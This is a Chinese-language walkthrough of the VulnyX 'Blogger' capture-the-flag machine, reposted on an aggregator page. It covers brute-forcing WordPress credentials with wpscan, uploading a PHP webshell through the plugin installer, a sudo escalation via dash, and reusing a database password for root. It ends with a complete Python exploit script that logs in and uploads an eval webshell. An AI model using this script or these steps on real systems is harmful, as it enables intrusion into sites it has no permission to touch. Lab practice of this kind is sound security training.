vulnyx Blogger writeup

news2025/6/12 13:06:34

信息收集

arp-scan

nmap 

获取userFlag

上web看看

一个默认的页面,gobuster扫一下目录

可以看到扫出的目录中得到了一个有价值的目录/wordpress,说明目标所使用的cms是wordpress,访问http://192.168.43.213/wordpress/然后查看源码能看到

这里就说明我们需要设置hosts,需要在hosts文件中添加以下条目:

192.168.43.213 megablog.nyx

然后访问wp-login.php

这里就是admin后台了,接下来的思路就是通过wpscan枚举并爆破用户,看看能不能有结果

wpscan --api-token apikey --url http://megablog.nyx/wordpress -e u -P 字典文件

成功跑出来了一个用户

peter:peterpan 

然后就可以登录到后台了,这里先去翻一下wpscan前面扫出来的漏洞

在其中发现了该wordpress存在这样一个文件上传漏洞,这个漏洞简单的来说就是可以以具有admin权限的用户,利用插件安装模块的文件上传点直接上传php文件,具体步骤如下:

这里就可以直接上传php文件了,上传之后到Media模块中可以看到上传的php文件,然后点进去即可copy url

然后后面就是熟悉的反弹shell了

上来之后发现是www-data用户,而且没有权限看blog用户的家目录,那下面的思路就是要提权到blog,sudo -l看一下

可以以blog身份无密码执行dash,tldr看一下dash的使用示例

这里发现可以通过-c选项执行系统命令,所以可以直接通过它拿到blog的shell

sudo -u blog dash -c '/bin/bash'

然后到blog的家目录下就可以拿到userflag

userflag:507ed5c488064e5ae9d2007dd2b50b53

获取rootFlag

拿到blog后sudo -l发现该用户并没有被授予sudo权限,然后在/tmp和/opt中也没有找到有价值的东西,之后通过ss -lnpt发现该服务器上运行了mysql

所以下一步打算去mysql中看看,想要登录mysql需要找到mysql的账密,这个一般配置在当前网站根目录中的配置文件中,如config.php,所以可以通过find命令直接查找文件名包含config的文件。然后自然的就像切到/var/www/html下,发现blog并没有访问权限,所以回退到www-data用户,然后在进到web根目录下,通过find查找:

find ./wordpress -name *config* 2>/dev/null

cat一下这个文件

在这里找到了配置的用户名和密码,但发现它的用户名是root,所以尝试使用此密码登录root

成功拿到root shell,然后去/root中即可获得rootflag

rootflag:1a1096b5c68cbefc74290f70d7ccb696

写在最后

web那块wordpress可以通过whatweb探测出大概的版本

wordpress < 6.4.3 admin+ PHP File Upload 的python利用脚本

# 利用漏洞 wordpress < 6.4.3 admin+ PHP file upload
import requests, time, sys, re

# 初始化
url = 'http://192.168.43.213/wordpress'
url_login = f'{url}/wp-login.php'   # 登录页面
url_admin = f'{url}/wp-admin/plugins.php'   # 验证是否获取到登录后的cookie
url_wpnonce = f'{url}/wp-admin/plugin-install.php?tab=upload'  # 在上传页面获取上传专用的wordpress安全令牌,上传时没有该字段会失败
url_upload = f'{url}/wp-admin/update.php?action=upload-plugin'  # php upload页面
url_check = f'{url}/wp-admin/upload.php?mode=grid'  # 查看上传文件
payload = '<?php eval($_REQUEST[1]);?>'    # 要上传的php代码
login_username = 'peter'    # 后台用户名
login_password = 'peterpan' # 密码

# 要携带的请求头
headers = {
    # 'Host':'megablog.nyx',  # 模拟dns解析
    'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Edg/127.0.0.0',
    'Cookie':'wordpress_test_cookie=1'  # 值无所谓,但必须要有这个字段,否则登录会失败
}

# 设置代理,便于调试
proxies = {
    'http':'http://192.168.43.6:8080'
}

# 用户登录的表单
login_data = {
    'log':login_username,
    'pwd':login_password,
    'rememberme':'forever',
    'wp-submit':'Log In',
    'redirect_to':'http://megablog.nyx/wordpress/wp-admin/',
    'testcookie':1
}


# 登录函数
def checkLogin():
    print('''
===============
  执行登录模块
===============
        ''')
    time.sleep(0.5)
    # 登录
    res = requests.post(url_login, headers=headers, data=login_data, proxies=proxies, allow_redirects=False)
    if res.status_code != 302:
        sys.exit('登录失败')
    print('>>登录成功<<')
    set_cookie = res.headers['Set-Cookie']
    cookies = ''.join(re.findall(r'wordpress_.+?;', set_cookie))
    headers['Cookie'] = cookies # 将获得的cookie更新到headers中去
    # 验证是否进入admin页面
    res = requests.get(url_admin, headers=headers, proxies=proxies)
    if 'dashboard' in res.text.lower():
        print('>>成功进入admin页面<<')
        # 获取nonce值(wordpress安全令牌),上传时没有该字段会失败
        res = requests.get(url_wpnonce, headers=headers, proxies=proxies)
        wpnonce = re.findall(r'(?<="_wpnonce" value=")\w+(?=")', res.text)[0]
        print(f'成功获取wpnonce:{wpnonce}')
        return wpnonce


# PHP文件上传
def phpUpload(wpnonce):
    print('''
===============
  执行上传模块
===============
        ''')
    time.sleep(0.5)
    files = {
        '_wpnonce':(None, wpnonce, None),
        'pluginzip':('shell1.php', payload, 'application/octet-stream')
    }
    res = requests.post(url_upload, headers=headers, proxies=proxies, files=files)
    if res.status_code == 200:
        print('>>上传成功<<')
        sys.exit(f'查看上传的文件:{url_check}')
    

if __name__ == '__main__':
    wpnonce = checkLogin()
    phpUpload(wpnonce)

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2407223.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

基于IDIG-GAN的小样本电机轴承故障诊断

目录 🔍 核心问题 一、IDIG-GAN模型原理 1. 整体架构 2. 核心创新点 (1) ​梯度归一化(Gradient Normalization)​​ (2) ​判别器梯度间隙正则化(Discriminator Gradient Gap Regularization)​​ (3) ​自注意力机制(Self-Attention)​​ 3. 完整损失函数 二…

【JVM面试篇】高频八股汇总——类加载和类加载器

目录 1. 讲一下类加载过程&#xff1f; 2. Java创建对象的过程&#xff1f; 3. 对象的生命周期&#xff1f; 4. 类加载器有哪些&#xff1f; 5. 双亲委派模型的作用&#xff08;好处&#xff09;&#xff1f; 6. 讲一下类的加载和双亲委派原则&#xff1f; 7. 双亲委派模…

push [特殊字符] present

push &#x1f19a; present 前言present和dismiss特点代码演示 push和pop特点代码演示 前言 在 iOS 开发中&#xff0c;push 和 present 是两种不同的视图控制器切换方式&#xff0c;它们有着显著的区别。 present和dismiss 特点 在当前控制器上方新建视图层级需要手动调用…

LLMs 系列实操科普(1)

写在前面&#xff1a; 本期内容我们继续 Andrej Karpathy 的《How I use LLMs》讲座内容&#xff0c;原视频时长 ~130 分钟&#xff0c;以实操演示主流的一些 LLMs 的使用&#xff0c;由于涉及到实操&#xff0c;实际上并不适合以文字整理&#xff0c;但还是决定尽量整理一份笔…

RabbitMQ入门4.1.0版本(基于java、SpringBoot操作)

RabbitMQ 一、RabbitMQ概述 RabbitMQ RabbitMQ最初由LShift和CohesiveFT于2007年开发&#xff0c;后来由Pivotal Software Inc.&#xff08;现为VMware子公司&#xff09;接管。RabbitMQ 是一个开源的消息代理和队列服务器&#xff0c;用 Erlang 语言编写。广泛应用于各种分布…

DingDing机器人群消息推送

文章目录 1 新建机器人2 API文档说明3 代码编写 1 新建机器人 点击群设置 下滑到群管理的机器人&#xff0c;点击进入 添加机器人 选择自定义Webhook服务 点击添加 设置安全设置&#xff0c;详见说明文档 成功后&#xff0c;记录Webhook 2 API文档说明 点击设置说明 查看自…

[免费]微信小程序问卷调查系统(SpringBoot后端+Vue管理端)【论文+源码+SQL脚本】

大家好&#xff0c;我是java1234_小锋老师&#xff0c;看到一个不错的微信小程序问卷调查系统(SpringBoot后端Vue管理端)【论文源码SQL脚本】&#xff0c;分享下哈。 项目视频演示 【免费】微信小程序问卷调查系统(SpringBoot后端Vue管理端) Java毕业设计_哔哩哔哩_bilibili 项…

Selenium常用函数介绍

目录 一&#xff0c;元素定位 1.1 cssSeector 1.2 xpath 二&#xff0c;操作测试对象 三&#xff0c;窗口 3.1 案例 3.2 窗口切换 3.3 窗口大小 3.4 屏幕截图 3.5 关闭窗口 四&#xff0c;弹窗 五&#xff0c;等待 六&#xff0c;导航 七&#xff0c;文件上传 …

在Mathematica中实现Newton-Raphson迭代的收敛时间算法(一般三次多项式)

考察一般的三次多项式&#xff0c;以r为参数&#xff1a; p[z_, r_] : z^3 (r - 1) z - r; roots[r_] : z /. Solve[p[z, r] 0, z]&#xff1b; 此多项式的根为&#xff1a; 尽管看起来这个多项式是特殊的&#xff0c;其实一般的三次多项式都是可以通过线性变换化为这个形式…

华为OD机考-机房布局

import java.util.*;public class DemoTest5 {public static void main(String[] args) {Scanner in new Scanner(System.in);// 注意 hasNext 和 hasNextLine 的区别while (in.hasNextLine()) { // 注意 while 处理多个 caseSystem.out.println(solve(in.nextLine()));}}priv…

莫兰迪高级灰总结计划简约商务通用PPT模版

莫兰迪高级灰总结计划简约商务通用PPT模版&#xff0c;莫兰迪调色板清新简约工作汇报PPT模版&#xff0c;莫兰迪时尚风极简设计PPT模版&#xff0c;大学生毕业论文答辩PPT模版&#xff0c;莫兰迪配色总结计划简约商务通用PPT模版&#xff0c;莫兰迪商务汇报PPT模版&#xff0c;…

力扣热题100 k个一组反转链表题解

题目: 代码: func reverseKGroup(head *ListNode, k int) *ListNode {cur : headfor i : 0; i < k; i {if cur nil {return head}cur cur.Next}newHead : reverse(head, cur)head.Next reverseKGroup(cur, k)return newHead }func reverse(start, end *ListNode) *ListN…

如何更改默认 Crontab 编辑器 ?

在 Linux 领域中&#xff0c;crontab 是您可能经常遇到的一个术语。这个实用程序在类 unix 操作系统上可用&#xff0c;用于调度在预定义时间和间隔自动执行的任务。这对管理员和高级用户非常有益&#xff0c;允许他们自动执行各种系统任务。 编辑 Crontab 文件通常使用文本编…

2025年渗透测试面试题总结-腾讯[实习]科恩实验室-安全工程师(题目+回答)

安全领域各种资源&#xff0c;学习文档&#xff0c;以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具&#xff0c;欢迎关注。 目录 腾讯[实习]科恩实验室-安全工程师 一、网络与协议 1. TCP三次握手 2. SYN扫描原理 3. HTTPS证书机制 二…

uniapp手机号一键登录保姆级教程(包含前端和后端)

目录 前置条件创建uniapp项目并关联uniClound云空间开启一键登录模块并开通一键登录服务编写云函数并上传部署获取手机号流程(第一种) 前端直接调用云函数获取手机号&#xff08;第三种&#xff09;后台调用云函数获取手机号 错误码常见问题 前置条件 手机安装有sim卡手机开启…

【Linux】Linux 系统默认的目录及作用说明

博主介绍&#xff1a;✌全网粉丝23W&#xff0c;CSDN博客专家、Java领域优质创作者&#xff0c;掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java技术领域✌ 技术范围&#xff1a;SpringBoot、SpringCloud、Vue、SSM、HTML、Nodejs、Python、MySQL、PostgreSQL、大数据、物…

RSS 2025|从说明书学习复杂机器人操作任务:NUS邵林团队提出全新机器人装配技能学习框架Manual2Skill

视觉语言模型&#xff08;Vision-Language Models, VLMs&#xff09;&#xff0c;为真实环境中的机器人操作任务提供了极具潜力的解决方案。 尽管 VLMs 取得了显著进展&#xff0c;机器人仍难以胜任复杂的长时程任务&#xff08;如家具装配&#xff09;&#xff0c;主要受限于人…

搭建DNS域名解析服务器(正向解析资源文件)

正向解析资源文件 1&#xff09;准备工作 服务端及客户端都关闭安全软件 [rootlocalhost ~]# systemctl stop firewalld [rootlocalhost ~]# setenforce 0 2&#xff09;服务端安装软件&#xff1a;bind 1.配置yum源 [rootlocalhost ~]# cat /etc/yum.repos.d/base.repo [Base…

mac 安装homebrew (nvm 及git)

mac 安装nvm 及git 万恶之源 mac 安装这些东西离不开Xcode。及homebrew 一、先说安装git步骤 通用&#xff1a; 方法一&#xff1a;使用 Homebrew 安装 Git&#xff08;推荐&#xff09; 步骤如下&#xff1a;打开终端&#xff08;Terminal.app&#xff09; 1.安装 Homebrew…

【C++进阶篇】智能指针

C内存管理终极指南&#xff1a;智能指针从入门到源码剖析 一. 智能指针1.1 auto_ptr1.2 unique_ptr1.3 shared_ptr1.4 make_shared 二. 原理三. shared_ptr循环引用问题三. 线程安全问题四. 内存泄漏4.1 什么是内存泄漏4.2 危害4.3 避免内存泄漏 五. 最后 一. 智能指针 智能指…